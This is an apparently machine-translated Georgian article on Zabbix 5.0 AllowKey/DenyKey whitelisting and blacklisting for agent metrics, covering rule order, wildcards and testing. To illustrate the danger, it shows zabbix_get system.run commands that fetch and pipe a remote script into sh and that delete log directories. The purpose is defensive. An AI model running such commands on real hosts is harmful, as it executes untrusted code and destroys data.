შავი სიის და თეთრი სიის მხარდაჭერა აგენტის მხარის მეტრიკებისთვის Zabbix 5.0-ში

შავი სიის და თეთრი სიის მხარდაჭერა აგენტის მხარის მეტრიკებისთვის

ტიხონ უსკოვი, ინტეგრაციის ინჟინერი, Zabbix

მონაცემთა უსაფრთხოების საკითხები

Zabbix 5.0-ს აქვს ახალი ფუნქცია, რომელიც საშუალებას გაძლევთ გააუმჯობესოთ უსაფრთხოება სისტემებში Zabbix Agent-ის გამოყენებით და შეცვალოს ძველი პარამეტრი ჩართეთ RemoteCommands.

აგენტზე დაფუძნებული სისტემების უსაფრთხოების გაუმჯობესება გამომდინარეობს იქიდან, რომ აგენტს შეუძლია შეასრულოს დიდი რაოდენობით პოტენციურად საშიში მოქმედებები.

• აგენტს შეუძლია შეაგროვოს თითქმის ნებისმიერი ინფორმაცია, კონფიდენციალური ან პოტენციურად საშიში ინფორმაციის ჩათვლით, კონფიგურაციის ფაილებიდან, ჟურნალის ფაილებიდან, პაროლის ფაილებიდან ან სხვა ფაილებიდან.

მაგალითად, zabbix_get უტილიტას გამოყენებით, შეგიძლიათ შეხვიდეთ მომხმარებელთა სიაზე, მათი სახლის დირექტორიაში, პაროლის ფაილებზე და ა.შ.

მონაცემებზე წვდომა zabbix_get უტილიტის გამოყენებით

შენიშვნა. მონაცემების მიღება შესაძლებელია მხოლოდ იმ შემთხვევაში, თუ აგენტს აქვს წაკითხვის უფლება შესაბამის ფაილზე. მაგრამ, მაგალითად, ფაილი /etc/passwd/ იკითხება ყველა მომხმარებლის მიერ.

• აგენტს ასევე შეუძლია შეასრულოს პოტენციურად საშიში ბრძანებები. მაგალითად, გასაღები *system.run[]** საშუალებას გაძლევთ შეასრულოთ ნებისმიერი დისტანციური ბრძანება ქსელის კვანძებზე, მათ შორის სკრიპტების გაშვება Zabbix ვებ ინტერფეისიდან, რომლებიც ასევე ასრულებენ ბრძანებებს აგენტის მხარეს.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• Linux-ზე აგენტი ნაგულისხმევად მუშაობს root პრივილეგიების გარეშე, ხოლო Windows-ზე მუშაობს როგორც სერვისი, როგორც სისტემა და აქვს შეუზღუდავი წვდომა ფაილურ სისტემაზე. შესაბამისად, თუ ინსტალაციის შემდეგ Zabbix Agent პარამეტრებში ცვლილებები არ განხორციელდება, აგენტს აქვს წვდომა რეესტრზე, ფაილურ სისტემაზე და შეუძლია WMI მოთხოვნების შესრულება.

წინა ვერსიებში პარამეტრი EnableRemoteCommands=0 დასაშვებია მხოლოდ მეტრიკის გამორთვა გასაღებით *system.run[]** და გაშვებული სკრიპტები ვებ-ინტერფეისიდან, მაგრამ არ არსებობდა გზა, რომ შეეზღუდათ წვდომა ცალკეულ ფაილებზე, დაუშვათ ან გამორთოთ ცალკეული კლავიშები, რომლებიც დაინსტალირებული იყო აგენტთან, ან შეზღუდოთ ინდივიდუალური პარამეტრების გამოყენება.

EnableRemoteCommand პარამეტრის გამოყენება Zabbix-ის ადრინდელ ვერსიებში

AllowKey/DenyKey

Zabbix 5.0 გვეხმარება დაცვაში ასეთი არაავტორიზებული წვდომისგან, თეთრ სიებისა და შავი სიების მიწოდებით აგენტის მხარეს მეტრიკის დაშვებისა და უარყოფისთვის.

Zabbix 5.0-ში ყველა გასაღები, მათ შორის *system.run[]** ჩართულია და დამატებულია აგენტის კონფიგურაციის ორი ახალი ვარიანტი:

AllowKey= - ნებადართული შემოწმებები;

DenyKey= — აკრძალული ჩეკები;

სადაც არის გასაღების სახელის ნიმუში პარამეტრებით, რომელიც იყენებს მეტანიშნებს (*).

AllowKey და DenyKey კლავიშები საშუალებას გაძლევთ დაუშვათ ან უარყოთ ინდივიდუალური მეტრიკა კონკრეტული ნიმუშის საფუძველზე. სხვა კონფიგურაციის პარამეტრებისგან განსხვავებით, AllowKey/DenyKey პარამეტრების რაოდენობა შეზღუდული არ არის. ეს საშუალებას გაძლევთ მკაფიოდ განსაზღვროთ, თუ რისი გაკეთება შეუძლია აგენტს სისტემაში შემოწმების ხის შექმნით - შესრულებადი გასაღებები, სადაც მათი დაწერის თანმიმდევრობა ძალიან მნიშვნელოვან როლს ასრულებს.

წესების თანმიმდევრობა

წესები შემოწმებულია იმ თანმიმდევრობით, რომლითაც ისინი შედის კონფიგურაციის ფაილში. გასაღები მოწმდება წესების მიხედვით პირველ მატჩამდე და როგორც კი მონაცემთა ელემენტის გასაღები ემთხვევა შაბლონს, ის დაშვებულია ან უარყოფილია. ამის შემდეგ წესების შემოწმება ჩერდება და დარჩენილი გასაღებები იგნორირებულია.

ამიტომ, თუ ელემენტი ემთხვევა დაშვების და უარყოფის წესს, შედეგი დამოკიდებული იქნება იმაზე, თუ რომელი წესია პირველი კონფიგურაციის ფაილში.

2 განსხვავებული წესი ერთი და იგივე ნიმუშით და გასაღებით vfs.file.size[/tmp/file]

AllowKey/DenyKey კლავიშების გამოყენების თანმიმდევრობა:

1. ზუსტი წესები,
2. ძირითადი წესები,
3. ამკრძალავი წესი.

მაგალითად, თუ გჭირდებათ წვდომა ფაილებზე გარკვეულ საქაღალდეში, ჯერ უნდა დაუშვათ მათზე წვდომა და შემდეგ უარყოთ ყველაფერი, რაც არ შედის დადგენილ ნებართვებში. თუ პირველ რიგში გამოიყენებთ უარყოფის წესს, საქაღალდეზე წვდომა აკრძალული იქნება.

სწორი თანმიმდევრობა

თუ გჭირდებათ 2 კომუნალური პროგრამის გაშვების უფლება *system.run[]** და ჯერ მიეთითება უარყოფის წესი, კომუნალური პროგრამები არ ამოქმედდება, რადგან პირველი ნიმუში ყოველთვის ემთხვევა ნებისმიერ კლავიშს და შემდგომი წესები იგნორირებული იქნება.

არასწორი თანმიმდევრობა

შაბლონები

ძირითად წესებს

Pattern არის გამოხატულება wildcards-ით. მეტანიშანი (*) ემთხვევა ნებისმიერი სიმბოლოს ნებისმიერ რაოდენობას კონკრეტულ პოზიციაზე. მეტანიშვნები შეიძლება გამოყენებულ იქნას როგორც გასაღების სახელში, ასევე პარამეტრებში. მაგალითად, შეგიძლიათ მკაცრად განსაზღვროთ პირველი პარამეტრი ტექსტით, და მიუთითეთ შემდეგი, როგორც wildcard.

პარამეტრები უნდა იყოს ჩასმული კვადრატულ ფრჩხილებში [].

• system.run[* - არასწორი
• vfs.file*.txt] - არასწორი
• vfs.file.*[*] - მართალია

wildcard-ის გამოყენების მაგალითები.

1. გასაღების სახელში და პარამეტრში. ამ შემთხვევაში, გასაღები არ შეესაბამება მსგავს კლავიშს, რომელიც არ შეიცავს პარამეტრს, რადგან შაბლონში ჩვენ მივუთითეთ, რომ გვინდა მივიღოთ გასაღების სახელის გარკვეული დაბოლოება და პარამეტრების გარკვეული ნაკრები.
2. თუ ნიმუში არ იყენებს კვადრატულ ფრჩხილებს, ნიმუში საშუალებას აძლევს ყველა კლავიშს, რომელიც არ შეიცავს პარამეტრებს და უარყოფს ყველა კლავიშს, რომელიც შეიცავს მითითებულ პარამეტრს.
3. თუ გასაღები სრულად არის დაწერილი და პარამეტრები მითითებულია როგორც wildcard, ის დაემთხვევა ნებისმიერ მსგავს კლავიშს ნებისმიერ პარამეტრს და არ ემთხვევა გასაღებს კვადრატული ფრჩხილების გარეშე, ანუ დაშვებული იქნება ან უარყოფილი იქნება.

პარამეტრების შევსების წესები.

• თუ პარამეტრებთან კლავიშის გამოყენება იგეგმება, პარამეტრები უნდა იყოს მითითებული კონფიგურაციის ფაილში. პარამეტრები უნდა იყოს მითითებული, როგორც მეტანიშანი. საჭიროა გულდასმით უარი თქვან ნებისმიერ ფაილზე წვდომაზე და გავითვალისწინოთ, თუ რა ინფორმაციის მიწოდება შეუძლია მეტრულს სხვადასხვა მართლწერის მიხედვით - პარამეტრებით და მის გარეშე.

პარამეტრებით გასაღებების ჩაწერის თავისებურებები

• თუ გასაღები მითითებულია პარამეტრებით, მაგრამ პარამეტრები არჩევითია და მითითებულია, როგორც მეტანიშანი, პარამეტრის გარეშე გასაღები გადაწყდება. მაგალითად, თუ გსურთ გამორთოთ ინფორმაციის მიღება CPU-ზე დატვირთვის შესახებ და მიუთითოთ, რომ system.cpu.load[*] გასაღები უნდა იყოს გამორთული, არ უნდა დაგვავიწყდეს, რომ გასაღები პარამეტრების გარეშე დააბრუნებს დატვირთვის საშუალო მნიშვნელობას.

პარამეტრების შევსების წესები

შენიშვნები

რეგულირება

• ზოგიერთი წესის შეცვლა შეუძლებელია მომხმარებლის მიერ, მაგალითად, აღმოჩენის წესები ან აგენტის ავტომატური რეგისტრაციის წესები. AllowKey/DenyKey წესები არ მოქმედებს შემდეგ პარამეტრებზე:
  - HostnameItem
  - HostMetadataItem
  - HostInterfaceItem

შენიშვნა. თუ ადმინისტრატორი გათიშავს გასაღებს, მოთხოვნისას Zabbix არ გვაწვდის ინფორმაციას იმის შესახებ, თუ რატომ მოხვდება მეტრიკა ან გასაღები " კატეგორიაშიᲐᲠ ᲐᲠᲘᲡ ᲛᲮᲐᲠᲓᲐᲭᲔᲠᲘᲚᲘ'. ინფორმაცია დისტანციური ბრძანებების შესრულების აკრძალვების შესახებ ასევე არ არის ნაჩვენები აგენტის ჟურნალის ფაილებში. ეს არის უსაფრთხოების მიზეზების გამო, მაგრამ შეიძლება გაართულოს გამართვა, თუ მეტრიკა რაიმე მიზეზით მოხვდება მხარდაუჭერელ კატეგორიაში.

• თქვენ არ უნდა დაეყრდნოთ რაიმე კონკრეტულ თანმიმდევრობას გარე კონფიგურაციის ფაილების დასაკავშირებლად (მაგალითად, ანბანური თანმიმდევრობით).

Command Line Utilities

წესების დაყენების შემდეგ, თქვენ უნდა დარწმუნდეთ, რომ ყველაფერი სწორად არის კონფიგურირებული.

შეგიძლიათ გამოიყენოთ სამი ვარიანტიდან ერთი:

• დაამატეთ მეტრიკა Zabbix-ს.
• ტესტირებასთან ერთად zabbix_agentd. Zabbix აგენტი ოფციით -ბეჭდვა (-p) აჩვენებს ყველა კლავიშს (რომლებიც ნაგულისხმევად არის დაშვებული) გარდა იმ კლავიშებისა, რომლებიც არ არის დაშვებული კონფიგურაციით. თანაც ვარიანტით -ტესტი (-t) რადგან აკრძალული გასაღები დაბრუნდება'მხარდაუჭერელი ელემენტის გასაღები".
• ტესტირებასთან ერთად zabbix_get. კომუნალური zabbix_get ვარიანტით -k დაბრუნდება 'ZBX_NOTSUPPORTED: უცნობი მეტრიკა".

დაშვება ან უარყოფა

შეგიძლიათ უარყოთ ფაილზე წვდომა და გადაამოწმოთ, მაგალითად, კომუნალური პროგრამის გამოყენებით zabbix_getრომ ფაილზე წვდომა აკრძალულია.

**

შენიშვნა. პარამეტრებში ციტატები იგნორირებულია.

ამ შემთხვევაში, ასეთ ფაილზე წვდომა შეიძლება დაშვებული იყოს სხვა გზით. მაგალითად, თუ სიმლინკი მივყავართ მას.

რეკომენდებულია მითითებული წესების გამოყენების სხვადასხვა ვარიანტების შემოწმება და ასევე აკრძალვების გვერდის ავლის შესაძლებლობების გათვალისწინება.

კითხვები და პასუხები

კითხვა. რატომ აირჩიეს ასეთი რთული ნიმუში საკუთარი ენით წესების, ნებართვებისა და აკრძალვების აღსაწერად? რატომ არ იყო შესაძლებელი, მაგალითად, რეგულარული გამონათქვამების გამოყენება, რომლებსაც Zabbix იყენებს?

პასუხი. ეს არის რეგექსის შესრულების საკითხი, რადგან ჩვეულებრივ მხოლოდ ერთი აგენტია და ის ამოწმებს მეტრიკის უზარმაზარ რაოდენობას. Regex საკმაოდ მძიმე ოპერაციაა და ასე ათასობით მეტრიკას ვერ შევამოწმებთ. Wildcards - უნივერსალური, ფართოდ გამოყენებული და მარტივი გამოსავალი.

კითხვა. Include ფაილები არ შედის ანბანური თანმიმდევრობით?

პასუხი. რამდენადაც მე ვიცი, პრაქტიკულად შეუძლებელია იმის პროგნოზირება, თუ რა თანმიმდევრობით იქნება გამოყენებული წესები, თუ თქვენ გაავრცელებთ წესებს სხვადასხვა ფაილში. გირჩევთ შეაგროვოთ ყველა AllowKey/DenyKey წესი ერთ Include ფაილში, რადგან ისინი ურთიერთქმედებენ ერთმანეთთან და ამ ფაილის ჩათვლით.

კითხვა. Zabbix 5.0-ში არის ვარიანტი "EnableRemoteCommands=' აკლია კონფიგურაციის ფაილს და მხოლოდ AllowKey/DenyKey არის ხელმისაწვდომი?

უპასუხე. დიახ ეს სწორია.

დიდი მადლობა!

წყარო: www.habr.com